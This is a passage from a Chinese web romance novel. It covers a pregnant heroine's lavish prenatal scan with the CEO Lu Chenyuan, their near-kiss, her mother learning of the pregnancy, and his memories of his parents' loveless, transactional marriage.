眼皮跳的厉害,一种直觉告诉杨西,他必须得抱紧姜绒大腿! 因为没准哪天,这非同一般,被自家总裁区别对待的女人,极有可能会成为陆氏集团的老板娘啊! 回到云顶天阙,杨西兢兢业业的将车停稳,然后快步下了车,这次径直抛弃自家总裁,跑到了姜绒那边的车门前。 无比恭敬的为她按开了车门,向她躬身微笑着说道:“姜小姐,请您下车吧。” 姜绒朝他笑着点了点头,心里有些美滋滋的,拿着自己的包下了车,往偌大的别墅内走去。 “杨西,工作表现超出预期。”一道冷冷的声音,兀然从他耳边响起,陆沉渊高大的身影经过了他,随手扔给了他一张奖金支票。 yes!自己果然做对了!判断没错! 杨西高兴至极,差点从地上跳起来,但他压住了内心的喜悦,仍旧毕恭毕敬的低下头去,望向他背影:“陆总谬赞。” 和陆沉渊一同进了别墅电梯,下到了地下一层,走向那间被他搬回家的医院。 姜绒还是被小小震惊了一下。 非预想中的昏暗与压抑,而是一片豁然开朗的、拥有柔和拱顶的纯白空间。 空气里弥漫着经过精密控制的、略带清甜的恒温气息,彻底抹去了姜绒最不喜欢的,医院刺鼻消毒水的味道。 整个空间与其说是一座医院,不如说是一座为孕育生命而打造的、极致安全的圣殿。 入口,是一个仿若五星级酒店客厅的接待区,天鹅绒沙发、艺术真品与暖色壁炉一应俱全,以温馨的布置消融了,医院固有的冰冷。 当姜绒在身穿制服的护士引领下,测量完体重,血压等那些基础项目后。 她跟随着陆沉渊,穿过接待区,走进诊疗室里。 姜绒看到,房间中央放置着一台市面上从未出现过的最新款进口四维彩超机。 流线型的机身泛着冰冷的金属光泽。一旁的全自动检查床上则覆盖着昂贵的羊绒软垫。 身着白大褂,和颜悦色的医生,已经在等待着他们俩的到来了,向陆沉渊微笑着说道: “陆总,作为准爸爸,请您搀扶准妈妈,躺到检查床上去吧,今天我们要做的是NT检查。” 陆沉渊点了点头,高大的身影,在她面前半蹲了下去,沉声说道:“我先给你脱鞋吧。” 姜绒红着耳朵,点了点头,看着他宽大手掌,毫不费力就握住了她白皙的足。 冷白的指节,解开鞋带,轻松将她脚上那双,上次她亲自挑中的,限量款lv无根勃肯鞋脱了下来。 从小到大,姜绒的身材,都被无数人赞美过,无论是无可挑剔的饱满,胸/型,窄细的马蜂腰线,还是恰到好处的胯骨,纤长笔直的双腿。 她是属于天生丽质的类型,浑身上下,没有一个地方不美,或不符合大美女要求的比例。 什么腕线过档,理想头身比,腰臀比,腿身比,她都处在最完美的数值上。 也因此,上学时,不管是林晚还是同班女生,都总用她是典型的老天爷赏饭吃,种了基因彩票,这种话来形容她。 “这个颜色,很适合你。” 陆沉渊的眸光沉了一下,喉结滚动,兀然多了些病态的痴迷,目光落在宽大掌心里,姜绒白皙的,涂了藕粉色指甲油的纤长足背上。 这道目光实在有些赤/裸,如同紧盯猎物的蛇,令姜绒的呼吸快了几秒。 她缩了缩脚尖,红着耳朵向陆沉渊点了点头,离开了他温热掌心,主动向后,自己仰躺在了铺了舒适羊绒垫的检查床上。 然而,逃过了一劫,下一劫又在等待着她了。 医生兀然将一瓶加热过后,温度刚好的耦合剂,笑意盈盈的递到了陆沉渊手上: “为了增进你们之间的感情,让准爸爸也全力参与进来,耦合剂就由准爸爸,亲自给准妈妈涂吧,涂好我们就可以照B超了。” 掀开了上衣,露出了雪白肚皮的姜绒,脸上红的厉害,望向陆沉渊。 如果她直接在医生面前拒绝,会不会显得太不自然了,毕竟自己肚子里,连他的娃都已经揣上了。 陆沉渊显然不会给她拒绝的机会,行动力超强,高大的身影已经在她床沿径直坐了下来。 向医生明确好位置后,他骨节修长的手指打开瓶盖,将粘稠的耦合剂,缓缓挤到了姜绒肚皮上。 “接下来,准爸爸要把耦合剂,在准妈妈肚子上推开哦,力道一定要轻,将来你们自己听胎心时,也要学会做这件事。” 已经在电脑前坐了下来的医生,语气温柔,提醒她们下一步的动作。 在她肚子上推开耦合剂?那该有多痒啊,而且还是一个异性来做。 姜绒攥紧身下的羊绒毯,不敢相信,身体不由的又僵硬,紧绷了起来。 “放松点,没事的。”陆沉渊的声音却兀然在她耳畔响了起来,他似乎看出了她的紧张。 姜绒点了点头,不知为何,这话从陆沉渊嘴里说出来,她竟然能听进去,而且还觉得安心。 于是,陆沉渊骨节修长的好看手指,带着温热的触感,缓缓放到了她的肚皮上,动作极轻极柔的,涂抹起了那层耦合剂。 一个手掌,就几乎将她还未显怀的,窄细腰身轻松覆盖住了。 姜绒意料中的恶心想吐,亦没有传来,甚至连紧张和僵硬都放松了下来,她不由将目光,落在了垂着黑睫,认真做着这件事的陆沉渊脸上。 他的表情依然毫无波澜,但动作里写满呵护,仿佛在对待最珍贵、易碎的宝贝。 而她的皮肤,似乎又在记忆,记忆这种,被陆沉渊抚摸肚皮时,温暖安心的触感。 “好了,准爸爸做的不错,可以起身在旁边坐着,等着看大屏幕了。”一分钟后,医生起身,看了眼他的成果,满意的笑了一下。 B超探头很快落在了姜绒肚皮上,她抬头看向摆在她们对面的巨型屏幕上。 一个极小的,还带着尾巴,但极其可爱的小宝宝影像,立即出现在了他们面前。 陆沉渊的目光里也带着惊奇,写上了惊喜,显然和她一样,都是第一次,亲眼见到了属于她们俩的宝宝的样子。 他们竟然,真的创造了一条小小生命。 “宝宝发育的不错,NT数值也很好,鼻子长得很好哦,挺挺的,应该是个很漂亮的小家伙。” 医生看着电脑屏幕上的宝宝侧脸,向他们夸赞出声,与此同时,鼠标在操作仪上,点了几下。 一段被截取出来,规律而有力量的实时胎心声音,立刻出现在了他们耳边。 “这就是,宝宝心脏跳动的声音吗?”姜绒看向医生,语气里满是不可思议。 医生笑着点了点头:“对,这是宝宝第一次和你们见面,在向爸爸妈妈问好呢。” 听到这句话,姜绒心里暖暖的,她不由转头,想偷偷看一眼,陆沉渊那张冰块脸上,会有什么表情。 却猝不及防的,与他视线撞在了一起。 他在看着她,没有声音,却炽热无比。 姜绒赶忙低下头去,耳根发烫。 “好啦,今天的产检就结束啦,小宝宝每一次的b超照片,我都会打印下来,留给你们做纪念哦。” 医生的声音,在姜绒耳边响起,将产检结果单和纪念照片,都递到了陆沉渊手里。 姜绒心里有些开心,其实在自己去查孕期知识时,她总会忍不住去焦虑,而当陆沉渊陪在她身边,和她面对每一次产检时。 她心里的焦虑,就会莫名的一扫而光。 “走吧,去休息室里休息会儿。” 陆沉渊高大的身影俯身靠近了她,未等她反应过来,宽大的手掌,已经握住她腰侧。 有力的胳膊稍一提,就将她从检查床上抱了起来,放在床沿坐稳后,蹲下身去利落给她穿上了鞋。 姜绒红着耳朵,很明白,自己这点身板和体重,在与她体型差相差巨大的陆沉渊面前,比起来实在算不了什么,令他简单的,如同提溜一只小鸡仔。 而跟随着他走出诊疗室后,姜绒才发现,这里的休息室,也是经过陆沉渊精心设计的。 淡雅色调,舒适的米白色卧榻旁,种着一棵被人工移栽下来、正在恒温玻璃中盛开的浅粉色樱花树。 方便她每次做完检查,在这里休息时,一抬头便能透过模拟天幕撒下的“阳光”,看到这棵巨大的樱花树。 这令她仿佛置身了春日庭院,忘记了孕期,一切的焦虑与身体不适。 “集团里的事不是很忙吗?要不你先上去吧?我在这里,再休息会儿,你不用等我了。” 姜绒在软榻上半躺下来后,仰头看向陆沉渊说道。 陆沉渊没有反驳她的提议,长腿一迈,向电梯间走去了:“嗯,你在这里好好休息,有任何事,都可以让护士,去楼上书房找我。” “好!”姜绒赶忙朝他点了点头。 直到看着他高大身影,彻底离开视线后,她才放松了下来,赶忙坐起来,伸手拍了拍自己发烫的脸蛋。 控制住自己啊,姜绒!你可是从小美到大的校花,千万不能在他面前失去分寸,不能让他看出来! 她在心里大声劝了自己半天,又想起,刚才在车上,陆沉渊有把让她签的,那几份合同的电子版发给她。 那东西有没有可能是卖身契啊? 而且还是陆沉渊手把着她的手,让她签下来的。 姜绒赶忙点开手机,警觉的看起了那几份合同,然而上面的条款,数字和内容,以及专有名词实在太多。 她这个理科学渣实在看不懂,于是她想到了一个办法,快速马赛克掉合同上自己和陆沉渊的名字,以及陆氏集团那些字眼后。 她把这几份合同,在微信上,发给了林晚:【林大律师,你帮我看看,这合同咋样,有没有坑,这是我朋友让我问的。】 消息发过去静悄悄,然而十分钟后,她就收到了林晚的回复,对方的消息内容,出乎她意料。 【这合同好啊!你这朋友要发了啊!签了以后,她生的孩子,可以直接无痛拥有,至少上百亿的家族信托资产了,还能按月领巨额教育基金和生活费呢!】 姜绒瞪大了一双鹿眼,看着这条回复,心里只觉得既温暖又感动。 陆沉渊竟然真的没有骗她,不是什么卖身契或是坑人的合同。 自己目前和他是离婚的状态,现在还没有和他复婚,去领结婚证。 法律层面上来说,她肚子里的孩子可以算是陆沉渊的私生子。 但他竟然在这种情况下,仍然可以毫不犹豫的,给出上百亿的资产,以及丰厚的福利给他们未出生的孩子。 【这是哪个富豪在做什么慈善吗?我咋没碰到过这种事呢。】 林晚还在微信里,向她追问,姜绒心里却逐渐被一个人填满,没有心思和她闲聊了。 晚上十一点,野餐厅内,一头金发的周野,吩咐了手下的帮厨,将他才摆盘好的一份,艺术感十足的鱼子酱红酒鹅肝端出去。 随即他伸出修长的手指,拿出了放在雪白厨师服兜里的手机,再次无法抑制的点开了,那个以自画像为头像的微信。 他发过去的消息,还未得到姜绒的回复,那张精心摆盘的提拉米苏的照片,仍旧孤零零的躺在对话框里:【小蛋糕呼叫小绒球!】 “chef,刚才一个穿西装的人,送过来一封信,收信人是你的名字。” 一道声音,兀然从他耳边响起,唤醒了他,周野立即收起了手机。 是一个女服务员,红着脸,好奇的偷瞄了他一眼,将一封牛皮信,送到了他手上。 周野没说什么,接过那封信,利落的拆开了信封,里面却只躺着薄薄的一张单子。 又是什么餐厅的催缴信吗? 他不以为然的展开了单子,待看清上面的内容后,周野却瞬间变了脸色,整张脸铁青无比—— 那赫然是一张孕检单,单上的名字是—姜绒。 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是我的动力啊! 亲亲(* ̄3 ̄)╭ 第28章 第二十八章 要试试和我接吻的感觉吗?…… 与此同时, 云顶天阙。 姜绒在休息室里喝了杯热牛奶,又拿到了医生递给她,精心打印出来的纪念照, 这才走向电梯,回到别墅, 偌大的客厅里。 客厅里空无一人,显然下人们都已经离开了。 这个点,估计陆沉渊也已经回房间睡觉了吧?她抬起手腕, 看了眼手上的劳力士手表。 在她眼里, 陆沉渊这种自律至极的人, 睡觉没准也跟电脑运行程序一样, 开机和关机, 都会严格按照时间来。 放下手臂, 姜绒却被客厅, 玻璃恒温箱里,陆沉渊那只名叫“熵”的宠物鬃狮蜥给吸引了视线。 这些天,布布已经被陆沉渊派专人看护好了,还好吃好喝的供着它,倒也替她省了不少事。 更不必说, 这只养宠专业团队,素质极佳, 用的还是宠物厨师现做的天价狗粮和营养品, 还配有有专门的宠物训练师,带它散步遛弯, 来保证它的运动量。 看陆沉渊发给自己的视频,她甚至还能看出来,布布被养胖了好几斤, 黑白的毛发,油光发亮的,这要是姜曜看到了,肯定会高兴的不行。 姜绒一步步走近那个恒温箱,与那只一双竖瞳紧紧盯着自己,威风凛凛的红色鬃狮蜥对视,心里兀然不再觉得,这冷血动物有什么可怕之处了。 反倒还觉得它有些可爱。 她不由自主的伸出纤长手指,在玻璃上敲了几下,引起这只蜥蜴的注意,并且朝它自言自语了一句: “小熵熵,你爸要是有你一半可爱就好了。” 嘶!红色鬃狮蜥朝她吐了吐蓝色的舌头,似乎是在回复她的调侃。 姜绒笑了一下:“不过你爸有时候也挺缠人的,虽然跟你一样都是冷血科,但他好像更像蛇。” 熵显然听不懂她叽里咕噜在说些什么,那双竖瞳垂下眼帘,似乎在闭目养神了,身上却变了一种颜色,由醒目的红色变成了亮黄色。 “哇,你这颜色变得也太快了吧!好厉害!”姜绒朝它夸了一句。 据她所知,蜥蜴身体的颜色会根据它的情绪状态来进行切换,亮黄色或者绿色,代表的是放松和舒适,深褐色和黑色,代表的则是紧张和恐惧。 看来这只小蜥蜴,看到自己,并且听自己说话,还挺放松的嘛,姜绒在心里小小得意了一下。 但随即,她白皙的小脸却又红了一下,眼前兀然浮现出了另一张冷冰冰的脸来。 陆沉渊靠近她的时候,也会变得不一样,眼尾会微微上挑发红,音调和音色也都会变了个样,这是不是和他养的蜥蜴一个原理呀? 不敢再多想,姜绒红着耳朵,直起身子,去往电梯,回自己房间里去了。 叮铃,伴随着电梯门开的声音响起,她却突然想起,自己今天特地去陆沉渊公司,找他的目的并没有达成,反倒是稀里糊涂的,在乔安安面前,和他签了个合同。 自己应该去他的房间,再找他一趟,好好聊聊这件事,请他帮忙吧?毕竟下周,就是她和林晚商量好的办展时间。 于是,迈出电梯后,姜绒往陆沉渊房间门口迈去,属于陆沉渊的那间主卧,其实她印象非常深刻。 毕竟,那一天的荒唐一夜后,次日早上,自己就是从那个房间里,落荒而逃的。 虽然现在已经是晚上十一点半,她不知道,陆沉渊现在到底有没有睡着,但她还是想碰一碰运气。 铛铛铛。 敲响房门后,姜绒心里有些忐忑,毕竟自己并不了解他的作息时间,自己这样做会不会打扰到他休息呢? 哐当。 然而,事情出乎她的意料,她不过才敲了一遍,门已经响了一下,被陆沉渊给打开了。 姜绒立即仰头,看向了站在自己面前的他,白皙耳垂却不可抑制的红了一下。 他此刻并没有戴眼镜,整张眉眼清晰,轮廓深邃的脸,都露了出来,好看的有些令人移不开眼睛。 但更关键的是,他好像才刚刚洗完澡,没有穿上衣,只系了条有些松垮的白色浴巾! “我……我只是有件事,想找你帮忙。”姜绒咽了下口水,望着他缓缓说道。 但她的视线,却不由自主的,被那些,顺着他额角滴落的水珠吸引,看着它们,顺着他淡色唇上那颗小痣滚落,又滑落在他形状明显的喉结,冷白的锁骨、胸肌以及刀刻般的腹肌,人鱼线上。 “什么事?”陆沉渊张了张唇,向她反问。 姜绒的脑子里却有些乱,几乎成了一团浆糊,只能闻到他身上那股冷冽好闻的雪松味道,逐渐将自己包围,甚至开始莫名其妙的走神。 为什么陆沉渊洗完澡以后,黑发有些软趴趴的垂在额前的时候,让他更增添了许多少年气呢? 只有在这种时刻,她才会真切的觉得,对方再优秀,再日理万机,掌管上千亿市值的集团,也只是和她相差不大的同龄人而已。 “不如进来说?”似乎是因为没等到她的答案,陆沉渊高大的身影,兀然往旁边让了一让,一双黑眸锁住她提议。 姜绒红着脸,鬼使神差点了点头:“好。” 直到整个人完全不受控制的走进他偌大的卧室里,听到房门在自己身后关上,她才回过了神来。 这到底是怎么回事啊?自己只是找他谈一谈审计合同的事吗?怎么直接进他房间里来了! 生理性喜欢的威力,竟然已经大到了这样的地步吗? “坐下来慢慢说吧。”陆沉渊给她倒了杯温水,放在她面前,示意她在对面沙发上先坐下。 姜绒点了点头,听话的坐了下来,但目光却仍旧无法抑制的被他身材吸引,直到在心里骂了自己好几句。 她才速战速决,径直向陆沉渊大声说出了自己的目的: “我想拜托你,给我插个队!” 陆沉渊一双黑眸锁住她,唇角微微上扬了一下,似乎是觉得她说的话很有趣,向她沉声反问:“插队?” “就是……就是江之晏和我艺术馆合作的合同,因为下个星期就要办展了,所以我希望,你直接给我审计通过!” 姜绒也不想再顾及什么形象了,破罐子破摔,垂着长睫,红着脸,向他补充说明。 虽然她听林晚说过,陆沉渊的审计事务所之所以能做到全球顶级的地步,全部是因为他冷血至极的管理手腕,以及公事公办的规章制度。 所以,她明目张胆的要求对方给自己插队,这其实是很有风险的事。 对于他的反应,自己也没有任何把握。 然而,陆沉渊的回答却出乎她意料:“其实,这份合同,我早就审计完了,今天就想交给你的。” “这么快吗,谢谢你……”姜绒有些喜出望外,伸手去接那份合同,但指尖还是无法避免的,与陆沉渊微凉手指,相触了一下,令她耳根有些升温。 陆沉渊一双黑眸,好整以暇的锁住她,向她沉声问出了口:“你看过这份合同了吗?关于江之晏这次的画展主题。” “还没有哎,我一般都会给合作的艺术家,最大的自由度,主题这些都不会加以干涉。”姜绒疑惑的摇了摇头。 陆沉渊却提醒了她一句:“那你可以看看,这次展出的主题。” 为什么他还要亲自提醒自己注意主题呢?姜绒心里的好奇更甚,但当她翻开合同,仔细看向标题里的展出主题内容时,却瞬间瞪大了一双清澈的鹿眼,白皙的小脸泛了红。 上面写的赫然是——《感官艺术》 如果强调的是感官,或者感官给人带来的艺术的话,那姜绒很明确的知道,自己必然及不了格。 因为那次初中时候的阴影经历,她的感官好像自动关闭了,尤其在面对异性时。 这就好比一个看起来四肢健全无比的人,但实际上,却是个瞎子,什么也看不见,甚至什么也感知不到。 陆沉渊对于她这样的反应,却似乎了然于心,高大的身影,兀然站了起来,长腿一迈,径直走向她,坐在了她身旁。 姜绒愣了一下,转头看向他,视线落在他身上,疑惑的张了张唇:“你……” “你知道吗?现在是最好的治疗时机。”陆沉渊高大的身影,却兀然俯身靠近了她,宽阔的胸膛,几乎将她整个人笼罩。 没了那副金边眼镜框的遮挡,他黑眸里炙热的侵略性,根本无法阻挡,眼尾泛红,微微上扬勾起时,甚至令姜绒读出了几分痞气。 简直无解,这个人! 姜绒红着脸,往沙发椅背里缩了缩,可在他的靠近之下,逼仄的空间,退无可退。 她自然知道,对方所谓给她治疗指的是什么意思,是自己答应,让他给自己治疗hsdd的缘故。 而此刻,自己脑海里浮现出的荒诞想法,却甚至让她连拒绝陆沉渊靠近的话语,都说不出来。 万一,他真的可以治好她呢? 但他到底想做什么呢?自己根本猜不出来! 冷冽而独特的雪松香味,彻底将她包围,陆沉渊骨节修长的手指,径直抬起了她白皙小巧的下巴。 裸/露的胸膛径直贴上了她,微凉的触感,像是某种阴冷的蛇类一般,缠了上来,没有给她任何逃脱的机会。 陆沉渊好看的唇,擦过她泛红的耳廓,声线喑哑,说出了一句,令姜绒白皙的小脸,瞬间绯红,半边身子开始止不住酥麻的话来: “我是说,要试试和我接吻的感觉吗?” 第29章 第二十九章 被苏女士发现怀孕了!…… 和他接吻? 陆沉渊低沉的尾音, 像一颗薄荷糖,兀然被投入了,她这瓶未被开启的汽水里。 “噗”地一声, 在她脑海里,炸开了无数细密翻腾的气泡。 一片空白, 只留下冰凉又滚烫的、带着强烈刺激性的酥麻,从心脏直冲头顶。 姜绒红着白皙的小脸,耳根发烫, 被困在陆沉渊宽阔的怀抱里, 事实上, 根本动弹不得, 她张了张唇, 却什么拒绝的话, 也说不出来。 而她的目光, 却止不住的被他形状极度好看的唇,以及唇上那颗黑色的小痣吸引。 其实,她脑海里还清晰的记得,那天她借着酒劲,吻上陆沉渊唇上, 那颗冷感小痣时,与他唇齿交融的味道。 最先袭来的是, 那缕清冽的佛手柑微酸, 然后是蒸腾而出的、带有他体温的雪松,冷峻而干燥的本调, 将她完全包裹,最后是温厚醇和的檀香味道,从最深处弥漫, 余韵绵长,让她心甘情愿地沉溺上瘾。 也因此,姜绒到现在,都没有忘记那个滋味。 那个颠覆她学生时代,一切对陆沉渊想象的味道。 毕竟,她曾经和坐在自己前面的林晚,开过玩笑,那个坐在她后侧位的“电脑人”,没准完全是由金属和电缆构成的,身上也永远只会有消毒水的味道。 否则,怎么解释,他每天早中晚,三次大规模,擦洗清理,他那本就干净到了极点的课桌桌面。 对任何有可能,在他地盘,在他领域,留下的他人气味或者物品,做全消除处理呢? 而现在,陆沉渊,竟然在主动邀请她,和他接吻! “你不说话,我就视为同意了。” 陆沉渊眼尾上扬,微微泛着红,声音放得很低,嗓音喑哑,犹如在她心脏里再次撒上了一把,磨人而粗粝的沙。 他温热指腹抚上她的唇,整个人距离她越来越近,沐浴后的水汽清香,带着他身上独特的雪松气味,一同袭来,几乎令姜绒无处可逃。 她忍不住攥紧了纤长手指,微微闭上了眼睛,长睫止不住颤抖着,心脏却在莫名其妙的沸腾、喧嚣,甚至期待。 就在整个世界都在,无限放慢,他们鼻尖相触,气息交融,彼此双唇相触,不过零点几毫米的距离之时。 “コンコン” (Kon Kon),姜绒放在兜里的手机,此时却毫无预警的,尖锐而尴尬的响了起来。 哆啦a梦开百宝箱的铃声,机械性的重复,此刻一点也不再可爱。 “我……我接个电话!”她涨红着脸,瞬间回过了神来,轻推了陆沉渊宽阔胸膛一把,掏出了手机。 来电显示上的人,却令姜绒瞬间警铃大作,毫无兴致了,正是——苏女士! 她语气慌忙,站起身来,看向坐回了沙发另一侧,一双黑沉沉的眸子看向她,表情平静的陆沉渊问: “我妈怎么会给我打电话呀,都这么晚了。平时,她都对我挺放心的呀。” 陆沉渊已经恢复了那副毫无波澜的样子,骨节修长的手指,拿起面前倒给她的水,抿了一口:“或许,她只是想你了?” “想我了?这个点?现在都十二点了!”姜绒不太认可这个说法,但显然,现在不接的话,只会令她的行迹更加可疑。 于是,她迅速清了清自己的嗓子,拿出了最好的演技修养,语气极其从容,甚至带了一丝睡梦被吵醒的慵懒,接通了电话: “喂,妈,有什么事吗?我正在睡觉呢。” 然而,苏女士根本不吃她这一套,嗓门犹如河东狮吼,差点穿透她耳膜,毫无困难的,从手机听筒里清晰的喊了出来—— “姜绒,你是不是怀孕了!怀了哪个野男人的种?看我不打断你的腿!我现在就在艺术馆门口,你赶紧给我下来!” 姜绒惊讶无比,头皮尴尬到发麻,苏女士到底是怎么知道这件事的?而且行动这么迅速! “不是……妈,你听我解释。不对,我没怀孕啊,你听谁说的啊?没有的事!”她尽力克制语气,让自己尽量不露出一丝波澜,试图继续瞒天过海。 苏女士对她的制裁,却简单无比,令姜绒意想不到:“别想骗我了!我有你孕检单!货真价实,还是周野发给我的!” 周野?自己怀孕的事,怎么周野会知道,而且产检单还去他那里了,他甚至还发给了自己老妈。 姜绒心里懊悔不已,当初她为了让苏女士精进厨艺,不每天研究黑暗料理,来嚯嚯她和姜曜了,所以就把周野微信,随手一推给了苏女士,说是她很好的米其林大厨朋友。 没想到,在这里起了作用。 “三秒钟之内,我限你立刻马上下来,别逼我冲上楼去!”苏女士的嗓音,接着从听筒里传来。 听到她这句命令,姜绒急得如同热锅上的蚂蚁,更加没办法了,自己此刻正在陆沉渊的别墅里呢,怎么去艺术馆呢,又该怎么解释? 陆沉渊高大的身影,却兀然走近了她。 不知何时,他已经换上了一身极其正式的,黑色高级定制西装,骨节修长的手指,俯身从僵在原地的她手里,接过了手机: “阿姨,姜绒现在在我这里,我马上送她过去,您别担心着急。” 陆沉渊生意极度沉稳而有礼,超强的气场,莫名具有极大的说服力,于是姜绒眼睁睁的看着他,淡定的说完了这句话,安抚下来苏女士后,挂断了电话。 姜绒睁大一双鹿眼,仰头望向他,根本弄不明白,这人到底怎么想的,他似乎一点也不担心,即将向他们袭来的暴风骤雨。 “外面冷,穿上我的外套。” 陆沉渊却在她面前,微微俯下身来,亲自替她穿上了,他手里,一件质地极轻,带有他身上雪松味道的卡其色风衣外套。 骨节修长的手指,亲自为她系上了风衣的扣子,就像在认真呵护,打扮他最喜欢的洋娃娃。 “你也太淡定了吧!”看着他垂下的黑睫,在眼睑下落下一小片好看的黑影,姜绒忍不住向他感叹了一句。 莫非这就是千亿集团执掌人,以及继承人的能力和魄力。面对一切的突发情况,都可以游刃有余的淡定处理。 但她回想起,曾经高一时,在作为学习委员的陆沉渊的控制与管理之下。 整个班上从未出现过任何失误,甚至各个科目的收发作业情况,以及学情概况等,都会被他做详细的统计和记录,并制成表格,按照固定的时间,发送到班主任,以及各个科目科任老师的电子邮箱里。 他作为学习委员的能力之强,全校闻名,是其他班,几乎所有班主任和科目老师,都最觊觎的那种学生的存在。 陆沉渊并未回应她的赞美,反而伸出宽大的手掌,握住她纤细手腕,长腿一迈,就往门外走去:“走吧,别让你妈着急。” 他的语气实在太具有说服性,姜绒莫名其妙的就迈开了腿,跟随着他的脚步,向电梯里走去。 直到在别墅门口,上了他黑色的限量收藏款迈巴赫,在副驾驶上,被他安排坐好,又亲自替她系好了孕妇专用安全带,稳稳启动了车辆,这才有些回过了神来。 在这深夜里,陆沉渊竟然是真的打算,和她一起去见苏女士,并且还是他亲自开车去。 姜绒偷偷瞄了一眼,骨节修长的手指,握在方向盘上,昏暗灯光下,侧脸轮廓,利落好看的陆沉渊一眼,向他张了张唇,好奇的问出了口: “你当初为什么会答应,和我联姻啊?是因为你很期待婚姻吗?还是因为你和你爷爷感情很好?” 她觉得自己这一连串问题,就像是在问十万个为什么,但她就是想知道这些问题答案,想离她未曾了解过的陆沉渊,越近越好。 “嗯,我和我爷爷的感情很好。” 陆沉渊脸上的表情,却罕见的多了一丝松动和波澜,似乎有一道微暖的光亮,映照在了冰冷的雪山上。 姜绒想起,自己和陆沉渊假联姻时,那天去病房里,陆老爷子把她和陆沉渊的手交握在一起,那双慈祥的充满爱的眸子,在她们两人之间流转时,真情流露的画面。 那种出于对孙子与孙媳的疼爱,做不了半分假。 于是,她忍不住继续向陆沉渊,好奇的追问:“我可以知道吗?你爷爷小时候,是怎么对你的呢?” 陆沉渊表情微变,爷爷陆泽荣,可以说,是整个陆家,从小到大,唯一真正看到了,陆沉渊这个“人”的存在,而不是作为“机器”存在的人。 在他七岁生日时,是爷爷陆泽荣,不顾冷血铁面的陆竞深反对,给了他一把书房的钥匙,宣告所有人,那是只有他,能够进出的秘密基地所在。 在此后,漫长的成长岁月里,受到父母的严厉要求与苛责管控之下,那里成了他唯一的庇护所。 将钥匙递到幼时的他掌心时,爷爷告诉他:“沉渊,在这个书房里,你不是任何集团的继承人。你可以疯跑,你可以弄脏手,你可以犯错,你也可以只做一个,创造东西的孩子。” 这些话,带给他微小灵魂里的光亮与震撼,是无法用语言去形容的。 而当小学时,有一次,陆沉渊突然感冒发烧时,父母一味责备着他身体太弱,不应该生病,并且迅速请来了各个科目,最顶级的家庭教师,要求他在家里补习,不能落下任何一科的功课。 得知这件事情的爷爷盛怒,赶走了所有的家庭教师,并且坐在他床边,花了一整个下午的时间,给他读《小王子》绘本。 陆沉渊永远记得,爷爷读完故事以后,抚摸着他的头说: “沉渊,会生病的孩子,才更像个人。这并不是你的错,在我面前,你永远有软弱的权利。” 听陆沉渊说完这些关于爷爷的儿时回忆,姜绒的眼眶湿润了起来,兀然有些心疼,那个小小年纪的陆沉渊。 在什么时候,竟连隐私和生病,都成了不被允许的存在呢? 至少,在她的家庭里,这种事情,是绝对不可能发生的。 陆沉渊转头,一双炙热黑眸,却锁住了微凉夜风中,姜绒那双波光潋滟,星光点点的鹿眼,接着说道: “但这也并不全是,我同意和你联姻的理由。” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! 亲亲(* ̄3 ̄)╭ 第30章 第三十章 孩子是我的。 沉浸在情绪里, 车窗外微凉夜风下的姜绒,却并未听到他说出来的这句话。 反而在回过神来以后,望着他利落分明的侧脸, 继续向他追问:“那你期待过婚姻吗?” “不期待”陆沉渊的回答,简单利落, 只有三个字。 姜绒瞪大了一双鹿眼看向他,眸子里盛满许多好奇。 事实上,她是期待婚姻的, 但不是以联姻的形式。 毕竟, 她的父亲姜新鸣, 作为鉴定专家, 在业内声望很高, 以鉴定之严谨, 能力之高而闻名, 但他在自己母亲苏女士面前,却是妥妥的恋爱脑,护妻狂魔一个。 苏女士喜欢浪漫,他就满世界陪她去旅游,一个命令, 就能让他推掉所有安排好的工作,排除万难, 赶最早一班飞机, 到达她所在的目的地。 而苏女士迷上种花那段时间,对花粉过敏的姜新鸣, 甚至能戴着口罩,陪她逛遍花卉市场,任她把乱七八糟的花, 插满他的房间。 诸如此类的事情,不胜枚举,也正是因为见证了父母爱情的浪漫,婚姻的美满,姜绒内心对婚姻,其实是充满渴望与期待的。 但陆沉渊显然与她想法不同,他的回答如此直接而笃定。 “为什么?你父母的感情很差吗?”姜绒抚了一把鬓边被风吹拂起的红色发丝,忍不住向他追问。 陆沉渊就像一座山,一座黑沉沉的,透着隐秘与未知,令她看不透的冰山。 而她总想挖掘,这座冰山之下,埋藏的,到底会是什么。 他张了张形状好看的唇,喉结的弧度像是山峦的起伏,声线里覆上了一层冰霜: “他们之间,没有爱情,更像是一笔生意,是纯粹靠利益绑定的婚姻,生下我,也只是他们生意中的一部分。” 陆氏集团和黎氏集团,家业庞大,互为彼此最佳的联姻对象。 陆沉渊永远记得,他十六岁时,亲眼目睹并发生的一件事。 为了拓展陆氏集团,在东中板块的石油以及矿产生意,陆竞深亲自下场,陪同一位东中来的王室成员,在会所里的绿茵草地上打高尔夫球。 他也被父亲要求陪同参与,一身小绅士礼服,全程陪伴并学习,精进高尔夫球这项运动。 最后一洞,陆竞深并未进球,落后一杆。 而那名异国来的,穿着华丽的王室成员,却用球杆轻轻指向远处休息亭里,正在与对方女眷交谈的母亲黎知微,勾了勾唇: “您的夫人今天这身珍珠白的套装,比我这只一杆进洞的球,更令人难忘。” 饶是年少,陆沉渊也听出了对方话语里的轻薄之意,他以为,他会从父亲的脸上,看到愤怒,看到怒不可遏,或者看到他对母亲的维护。 但陆竞深,却只是微笑着擦拭球杆,平静地回应对方: “珍贵的明珠也渴望照亮更辽阔的夜空。今晚有个慈善晚宴,她正好缺一位有品位的引路人,为她介绍沙漠星空的壮丽。” 当晚,黎知微并没有出现在陆氏家族固定的晚宴上。 第二天,陆竞深拿到了那个,足以改变集团未来十年能源布局的合同。 而黎知微脖颈上,赫然多了一串,对方家族珍藏的、古董级别的祖母绿宝石翡翠项链,每一颗都硕大而冰冷,难以估价。 而陆竞深俯身在他耳边,如同在评价一件,被摆回陈列馆里的精美瓷器,并沉声教导他: “沉渊,你要记住,情感虽然是弱点。但人的欲望,是我们最好的武器。” 年少的陆沉渊,听完陆竞深这句话,望着母亲那张面无表情,若无其事的脸,攥紧身上绅士西装的袖口,差点吐出来。 从那以后,陆沉渊的世界崩塌了。 他既不相信爱情这种东西的存在,也从不期待婚姻。 婚姻于他,如同茹毛饮血的怪兽,更如同吞噬人命,咔嚓作响,冰冷转动的齿轮。 